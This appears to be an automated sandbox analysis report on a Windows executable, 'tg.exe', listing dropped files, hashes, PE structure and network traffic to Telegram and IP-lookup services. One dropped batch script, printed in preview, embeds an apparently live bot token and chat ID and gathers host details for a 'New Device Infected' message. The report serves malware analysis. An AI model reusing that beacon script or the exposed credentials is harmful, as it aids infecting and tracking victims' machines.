                                                                                swift-bootstrapper.exeGet hashmaliciousUnknownBrowse
                                                                                • 149.154.167.220
                                                                                • 104.26.12.205

                                                                                Dropped Files

                                                                                ⊘No context

                                                                                Created / dropped Files

                                                                                C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                Download File
                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1588
                                                                                Entropy (8bit):5.613807879951881
                                                                                Encrypted:false
                                                                                SSDEEP:48:kSU4y4RQmFoUeCamfm9qr9tK8NLyku9OjlZS5GhNz:9HyIFKL2O9qr2KLy/OZZ4kNz
                                                                                MD5:D3F4558E09530E833BE4C5DE67AD222D
                                                                                SHA1:C1D34A38CE0125C5B05B5BABA63EFE0E27517327
                                                                                SHA-256:A77ED2AA673073E5D95AB915F598A6F54DF99860331D855B8D762291A74AFD19
                                                                                SHA-512:6BC9912B85CAB049234F57675AD01F504940529BAF4C8FF9DAED577263472B933B864D06D7B992C2386A52A844D320055B46CA2EE634FB99F3C1E3C23551A974
                                                                                Malicious:false
                                                                                Preview:@...e...........b...............................................@...............M6.]..O....PI.&........System.Web.Extensions...H...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................*gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.................0..~.J.R...L........System.Data.<...............i..VdqF...|...........System.ConfigurationH................WY..2.M.&..g*(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Commands.Utility...

                                                                                C:\Users\user\AppData\Local\Temp\D272.tmp\D273.tmp\D274.bat

                                                                                Download File
                                                                                Process:C:\Users\user\Desktop\tg.exe
                                                                                File Type:ASCII text, with CRLF line terminators
                                                                                Category:dropped
                                                                                Size (bytes):1284
                                                                                Entropy (8bit):5.323297766564296
                                                                                Encrypted:false
                                                                                SSDEEP:24:QxiRbZbBiRqB3+QeL/7Amk7qaO7osBtHstuLMiv2Af+wPj:rbdBiEBut/7D+yok1s8LZv2A28
                                                                                MD5:D094D92CFDD4BA9B839122A175C59130
                                                                                SHA1:599DFD03AB835DA6C53D468E79405A369FBA8BC6
                                                                                SHA-256:DD3B2B5FB6ED84798054474779F953DFBB93359FB46B1B0C235F348904794751
                                                                                SHA-512:8088FBEF90F5EF5BF4948F6A41B74D26DBE5605FB0D540FE434D206CDB12B8AC9A8362CF550C4B5D73BFD99F07EC49AA8347BB8531ED8F557B999A549DE26F5D
                                                                                Malicious:true
                                                                                Preview:@shift /0..@echo off..:: Define Telegram bot details..set botToken=7879910740:AAEmpll82MOqQk9TxWSC5yK5UZ56ixr0bZQ..set chatId=6734985705....:: Get current date and time using PowerShell..for /f "delims=" %%i in ('powershell -Command "(Get-Date).ToString('yyyy-MM-dd HH:mm:ss')"') do set currentDate=%%i....:: Get the public IP address..for /f "delims=" %%i in ('powershell -Command "(Invoke-RestMethod -Uri 'https://api.ipify.org?format=text')"') do set publicIp=%%i....:: Get local machine information (hostname, OS version, and architecture)..for /f "delims=" %%i in ('powershell -Command "$env:COMPUTERNAME"') do set hostname=%%i..for /f "delims=" %%i in ('powershell -Command "[System.Environment]::OSVersion"') do set os=%%i..for /f "delims=" %%i in ('powershell -Command "if ([System.IntPtr]::Size -eq 8) { '64-bit' } else { '32-bit' }"') do set architecture=%%i....:: Compose the message..set message= @New Device Infected!!!, > System Information: Date: %currentDate%, Hostname: %hostname%,

                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3xbx0foa.ep5.ps1

                                                                                Download File
                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                File Type:ASCII text, with no line terminators
                                                                                Category:dropped
                                                                                Size (bytes):60
                                                                                Entropy (8bit):4.038920595031593
                                                                                Encrypted:false
                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                Malicious:false
                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4ggphfjo.dmg.psm1

                                                                                Download File
                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                File Type:ASCII text, with no line terminators
                                                                                Category:dropped
                                                                                Size (bytes):60
                                                                                Entropy (8bit):4.038920595031593
                                                                                Encrypted:false
                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                Malicious:false
                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bopvxlpi.ygr.ps1

                                                                                Download File
                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                File Type:ASCII text, with no line terminators
                                                                                Category:dropped
                                                                                Size (bytes):60
                                                                                Entropy (8bit):4.038920595031593
                                                                                Encrypted:false
                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                Malicious:false
                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_g21ldsmu.15n.ps1

                                                                                Download File
                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                File Type:ASCII text, with no line terminators
                                                                                Category:dropped
                                                                                Size (bytes):60
                                                                                Entropy (8bit):4.038920595031593
                                                                                Encrypted:false
                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                Malicious:false
                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_guvfco2i.kyg.psm1

                                                                                Download File
                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                File Type:ASCII text, with no line terminators
                                                                                Category:dropped
                                                                                Size (bytes):60
                                                                                Entropy (8bit):4.038920595031593
                                                                                Encrypted:false
                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                Malicious:false
                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_i3sy33n3.wqb.ps1

                                                                                Download File
                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                File Type:ASCII text, with no line terminators
                                                                                Category:dropped
                                                                                Size (bytes):60
                                                                                Entropy (8bit):4.038920595031593
                                                                                Encrypted:false
                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                Malicious:false
                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_imlafvh0.1l1.psm1

                                                                                Download File
                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                File Type:ASCII text, with no line terminators
                                                                                Category:dropped
                                                                                Size (bytes):60
                                                                                Entropy (8bit):4.038920595031593
                                                                                Encrypted:false
                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                Malicious:false
                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mb2jaycx.cbw.ps1

                                                                                Download File
                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                File Type:ASCII text, with no line terminators
                                                                                Category:dropped
                                                                                Size (bytes):60
                                                                                Entropy (8bit):4.038920595031593
                                                                                Encrypted:false
                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                Malicious:false
                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nbqxksni.pm1.psm1

                                                                                Download File
                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                File Type:ASCII text, with no line terminators
                                                                                Category:dropped
                                                                                Size (bytes):60
                                                                                Entropy (8bit):4.038920595031593
                                                                                Encrypted:false
                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                Malicious:false
                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tex3cpej.e3y.psm1

                                                                                Download File
                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                File Type:ASCII text, with no line terminators
                                                                                Category:dropped
                                                                                Size (bytes):60
                                                                                Entropy (8bit):4.038920595031593
                                                                                Encrypted:false
                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                Malicious:false
                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_z1vuzy1k.33r.ps1

                                                                                Download File
                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                File Type:ASCII text, with no line terminators
                                                                                Category:dropped
                                                                                Size (bytes):60
                                                                                Entropy (8bit):4.038920595031593
                                                                                Encrypted:false
                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                Malicious:false
                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zcezainx.mev.psm1

                                                                                Download File
                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                File Type:ASCII text, with no line terminators
                                                                                Category:dropped
                                                                                Size (bytes):60
                                                                                Entropy (8bit):4.038920595031593
                                                                                Encrypted:false
                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                Malicious:false
                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                Static File Info

                                                                                General

                                                                                File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                Entropy (8bit):6.718119277627621
                                                                                TrID:
                                                                                • Win32 Executable (generic) a (10002005/4) 99.94%
                                                                                • Win16/32 Executable Delphi generic (2074/23) 0.02%
                                                                                • Generic Win/DOS Executable (2004/3) 0.02%
                                                                                • DOS Executable Generic (2002/1) 0.02%
                                                                                • VXD Driver (31/22) 0.00%
                                                                                File name:tg.exe
                                                                                File size:90'112 bytes
                                                                                MD5:f8ecedc88e4d2776486231d0ef0aea5d
                                                                                SHA1:fccc180c84dec726668d48f09b8a0c1c1fba07a1
                                                                                SHA256:b5c30a14e79065ea9a095eca6655829aca6272e61b1a73a31fa376ff8b3a793b
                                                                                SHA512:0aa1f775851a400ed6513db836f2788c0d902fb492b91195c234d1067e548bdac202e69cd3e366d1c73c0db917c474e93f38f20173c38a78c4ba6804a364fa41
                                                                                SSDEEP:1536:r7fPGykbOqjoHm4pICdfkLtAfupcWX50MxFY+yIOlnToIf4xQ1HpOK:nq6+ouCpk2mpcWJ0r+QNTBf4o/
                                                                                TLSH:58936C45F3E241F7E9F10A7100A6712FA73567249724E8DBC34C3D829A53AD5AA3C3E9
                                                                                File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...b.@]...............2.....P...............0....@........................................................................

                                                                                File Icon

                                                                                Icon Hash:90cececece8e8eb0

                                                                                Static PE Info

                                                                                General

                                                                                Entrypoint:0x401000
                                                                                Entrypoint Section:.code
                                                                                Digitally signed:false
                                                                                Imagebase:0x400000
                                                                                Subsystem:windows gui
                                                                                Image File Characteristics:RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
                                                                                DLL Characteristics:
                                                                                Time Stamp:0x5D400562 [Tue Jul 30 08:52:50 2019 UTC]
                                                                                TLS Callbacks:
                                                                                CLR (.Net) Version:
                                                                                OS Version Major:4
                                                                                OS Version Minor:0
                                                                                File Version Major:4
                                                                                File Version Minor:0
                                                                                Subsystem Version Major:4
                                                                                Subsystem Version Minor:0
                                                                                Import Hash:5877688b4859ffd051f6be3b8e0cd533

                                                                                Entrypoint Preview

                                                                                Instruction
                                                                                push 000000ACh
                                                                                push 00000000h
                                                                                push 00418010h
                                                                                call 00007FB0587D6B61h
                                                                                add esp, 0Ch
                                                                                push 00000000h
                                                                                call 00007FB0587D6B5Ah
                                                                                mov dword ptr [00418014h], eax
                                                                                push 00000000h
                                                                                push 00001000h
                                                                                push 00000000h
                                                                                call 00007FB0587D6B47h
                                                                                mov dword ptr [00418010h], eax
                                                                                call 00007FB0587D6AC1h
                                                                                mov eax, 00417088h
                                                                                mov dword ptr [00418034h], eax
                                                                                call 00007FB0587DF8E2h
                                                                                call 00007FB0587DF64Eh
                                                                                call 00007FB0587DC548h
                                                                                call 00007FB0587DBDCCh
                                                                                call 00007FB0587DB85Fh
                                                                                call 00007FB0587DB5D9h
                                                                                call 00007FB0587DB0FDh
                                                                                call 00007FB0587DA87Dh
                                                                                call 00007FB0587D6E45h
                                                                                call 00007FB0587DE1C8h
                                                                                call 00007FB0587DCC70h
                                                                                mov edx, 0041702Eh
                                                                                lea ecx, dword ptr [0041801Ch]
                                                                                call 00007FB0587D6AD8h
                                                                                push FFFFFFF5h
                                                                                call 00007FB0587D6AE8h
                                                                                mov dword ptr [0041803Ch], eax
                                                                                mov eax, 00000200h
                                                                                push eax
                                                                                lea eax, dword ptr [004180B8h]
                                                                                push eax
                                                                                xor eax, eax
                                                                                push eax
                                                                                push 00000015h
                                                                                push 00000004h
                                                                                call 00007FB0587DB822h
                                                                                push dword ptr [004180A0h]

                                                                                Data Directories

                                                                                NameVirtual AddressVirtual Size Is in Section
                                                                                IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                IMAGE_DIRECTORY_ENTRY_IMPORT0x1717c0xc8.data
                                                                                IMAGE_DIRECTORY_ENTRY_RESOURCE0x190000x998.rsrc
                                                                                IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                                                                                IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                                IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                IMAGE_DIRECTORY_ENTRY_IAT0x174700x22c.data
                                                                                IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                Sections

                                                                                NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                .code0x10000x37f00x38006c0f4094a5493360ae8c9032ef3a9f47False0.47140066964285715data5.608776130769213IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                .text0x50000xd2c20xd4001da643e4b1937b50550f9d9e8250428eFalse0.5114239386792453data6.558083729279072IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                .rdata0x130000x339d0x34004fb07923b0eb72c40319d48fd2d4f13fFalse0.8046123798076923data7.110640338733979IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                .data0x170000x172c0x120034f7102d67c306b13e756c4ee64941b7False0.3940972222222222data4.998662531771307IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                .rsrc0x190000x9980xa006fda2be127937fd56d1abb5a30715707False0.78203125data7.045547828568311IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

                                                                                Resources

                                                                                NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                                RT_RCDATA0x1921c0x1very short file (no magic)9.0
                                                                                RT_RCDATA0x192200x6Non-ISO extended-ASCII text, with no line terminators2.3333333333333335
                                                                                RT_RCDATA0x192280x4fadata1.0086342229199372
                                                                                RT_RCDATA0x197240xezlib compressed data1.5714285714285714
                                                                                RT_MANIFEST0x197340x263XML 1.0 document, ASCII text0.5319148936170213

                                                                                Imports

                                                                                DLLImport
                                                                                MSVCRT.dllmemset, wcsncmp, memmove, wcsncpy, wcsstr, _wcsnicmp, _wcsdup, free, _wcsicmp, wcslen, wcscpy, wcscmp, memcpy, tolower, wcscat, malloc
                                                                                KERNEL32.dllGetModuleHandleW, HeapCreate, GetStdHandle, HeapDestroy, ExitProcess, WriteFile, GetTempFileNameW, LoadLibraryExW, EnumResourceTypesW, FreeLibrary, RemoveDirectoryW, GetExitCodeProcess, EnumResourceNamesW, GetCommandLineW, LoadResource, SizeofResource, FreeResource, FindResourceW, GetNativeSystemInfo, GetShortPathNameW, GetWindowsDirectoryW, GetSystemDirectoryW, EnterCriticalSection, CloseHandle, LeaveCriticalSection, InitializeCriticalSection, WaitForSingleObject, TerminateThread, CreateThread, Sleep, GetProcAddress, GetVersionExW, WideCharToMultiByte, HeapAlloc, HeapFree, LoadLibraryW, GetCurrentProcessId, GetCurrentThreadId, GetModuleFileNameW, GetEnvironmentVariableW, SetEnvironmentVariableW, GetCurrentProcess, TerminateProcess, SetUnhandledExceptionFilter, HeapSize, MultiByteToWideChar, CreateDirectoryW, SetFileAttributesW, GetTempPathW, DeleteFileW, GetCurrentDirectoryW, SetCurrentDirectoryW, CreateFileW, SetFilePointer, TlsFree, TlsGetValue, TlsSetValue, TlsAlloc, HeapReAlloc, DeleteCriticalSection, InterlockedCompareExchange, InterlockedExchange, GetLastError, SetLastError, UnregisterWait, GetCurrentThread, DuplicateHandle, RegisterWaitForSingleObject
                                                                                USER32.DLLCharUpperW, CharLowerW, MessageBoxW, DefWindowProcW, DestroyWindow, GetWindowLongW, GetWindowTextLengthW, GetWindowTextW, UnregisterClassW, LoadIconW, LoadCursorW, RegisterClassExW, IsWindowEnabled, EnableWindow, GetSystemMetrics, CreateWindowExW, SetWindowLongW, SendMessageW, SetFocus, CreateAcceleratorTableW, SetForegroundWindow, BringWindowToTop, GetMessageW, TranslateAcceleratorW, TranslateMessage, DispatchMessageW, DestroyAcceleratorTable, PostMessageW, GetForegroundWindow, GetWindowThreadProcessId, IsWindowVisible, EnumWindows, SetWindowPos
                                                                                GDI32.DLLGetStockObject
                                                                                COMCTL32.DLLInitCommonControlsEx
                                                                                SHELL32.DLLShellExecuteExW, SHGetFolderLocation, SHGetPathFromIDListW
                                                                                WINMM.DLLtimeBeginPeriod
                                                                                OLE32.DLLCoInitialize, CoTaskMemFree
                                                                                SHLWAPI.DLLPathAddBackslashW, PathRenameExtensionW, PathQuoteSpacesW, PathRemoveArgsW, PathRemoveBackslashW

                                                                                Network Behavior

                                                                                Network Port Distribution

                                                                                TCP Packets

                                                                                TimestampSource PortDest PortSource IPDest IP
                                                                                Dec 23, 2024 01:11:03.686347961 CET49730443192.168.2.4104.26.12.205
                                                                                Dec 23, 2024 01:11:03.686403036 CET44349730104.26.12.205192.168.2.4
                                                                                Dec 23, 2024 01:11:03.686526060 CET49730443192.168.2.4104.26.12.205
                                                                                Dec 23, 2024 01:11:03.698476076 CET49730443192.168.2.4104.26.12.205
                                                                                Dec 23, 2024 01:11:03.698515892 CET44349730104.26.12.205192.168.2.4
                                                                                Dec 23, 2024 01:11:04.916392088 CET44349730104.26.12.205192.168.2.4
                                                                                Dec 23, 2024 01:11:04.916513920 CET49730443192.168.2.4104.26.12.205
                                                                                Dec 23, 2024 01:11:04.928585052 CET49730443192.168.2.4104.26.12.205
                                                                                Dec 23, 2024 01:11:04.928605080 CET44349730104.26.12.205192.168.2.4
                                                                                Dec 23, 2024 01:11:04.928955078 CET44349730104.26.12.205192.168.2.4
                                                                                Dec 23, 2024 01:11:04.976507902 CET49730443192.168.2.4104.26.12.205
                                                                                Dec 23, 2024 01:11:05.010026932 CET49730443192.168.2.4104.26.12.205
                                                                                Dec 23, 2024 01:11:05.051335096 CET44349730104.26.12.205192.168.2.4
                                                                                Dec 23, 2024 01:11:05.356234074 CET44349730104.26.12.205192.168.2.4
                                                                                Dec 23, 2024 01:11:05.356304884 CET44349730104.26.12.205192.168.2.4
                                                                                Dec 23, 2024 01:11:05.356483936 CET49730443192.168.2.4104.26.12.205
                                                                                Dec 23, 2024 01:11:05.363168001 CET49730443192.168.2.4104.26.12.205
                                                                                Dec 23, 2024 01:11:07.325707912 CET49731443192.168.2.4149.154.167.220
                                                                                Dec 23, 2024 01:11:07.325754881 CET44349731149.154.167.220192.168.2.4
                                                                                Dec 23, 2024 01:11:07.325848103 CET49731443192.168.2.4149.154.167.220
                                                                                Dec 23, 2024 01:11:07.332587957 CET49731443192.168.2.4149.154.167.220
                                                                                Dec 23, 2024 01:11:07.332604885 CET44349731149.154.167.220192.168.2.4
                                                                                Dec 23, 2024 01:11:08.701838970 CET44349731149.154.167.220192.168.2.4
                                                                                Dec 23, 2024 01:11:08.702076912 CET49731443192.168.2.4149.154.167.220
                                                                                Dec 23, 2024 01:11:08.706166983 CET49731443192.168.2.4149.154.167.220
                                                                                Dec 23, 2024 01:11:08.706207037 CET44349731149.154.167.220192.168.2.4
                                                                                Dec 23, 2024 01:11:08.706564903 CET44349731149.154.167.220192.168.2.4
                                                                                Dec 23, 2024 01:11:08.719089985 CET49731443192.168.2.4149.154.167.220
                                                                                Dec 23, 2024 01:11:08.763328075 CET44349731149.154.167.220192.168.2.4
                                                                                Dec 23, 2024 01:11:09.075869083 CET49731443192.168.2.4149.154.167.220
                                                                                Dec 23, 2024 01:11:09.075891018 CET44349731149.154.167.220192.168.2.4
                                                                                Dec 23, 2024 01:11:09.318373919 CET44349731149.154.167.220192.168.2.4
                                                                                Dec 23, 2024 01:11:09.362508059 CET49731443192.168.2.4149.154.167.220
                                                                                Dec 23, 2024 01:11:09.653491974 CET44349731149.154.167.220192.168.2.4
                                                                                Dec 23, 2024 01:11:09.653876066 CET44349731149.154.167.220192.168.2.4
                                                                                Dec 23, 2024 01:11:09.653959036 CET49731443192.168.2.4149.154.167.220
                                                                                Dec 23, 2024 01:11:09.654959917 CET49731443192.168.2.4149.154.167.220

                                                                                UDP Packets

                                                                                TimestampSource PortDest PortSource IPDest IP
                                                                                Dec 23, 2024 01:11:03.445688009 CET5149553192.168.2.41.1.1.1
                                                                                Dec 23, 2024 01:11:03.672095060 CET53514951.1.1.1192.168.2.4
                                                                                Dec 23, 2024 01:11:07.180321932 CET6410853192.168.2.41.1.1.1
                                                                                Dec 23, 2024 01:11:07.318198919 CET53641081.1.1.1192.168.2.4

                                                                                DNS Queries

                                                                                TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                Dec 23, 2024 01:11:03.445688009 CET192.168.2.41.1.1.10x44f8Standard query (0)api.ipify.orgA (IP address)IN (0x0001)false
                                                                                Dec 23, 2024 01:11:07.180321932 CET192.168.2.41.1.1.10x4746Standard query (0)api.telegram.orgA (IP address)IN (0x0001)false

                                                                                DNS Answers

                                                                                TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                Dec 23, 2024 01:11:03.672095060 CET1.1.1.1192.168.2.40x44f8No error (0)api.ipify.org104.26.12.205A (IP address)IN (0x0001)false
                                                                                Dec 23, 2024 01:11:03.672095060 CET1.1.1.1192.168.2.40x44f8No error (0)api.ipify.org172.67.74.152A (IP address)IN (0x0001)false
                                                                                Dec 23, 2024 01:11:03.672095060 CET1.1.1.1192.168.2.40x44f8No error (0)api.ipify.org104.26.13.205A (IP address)IN (0x0001)false
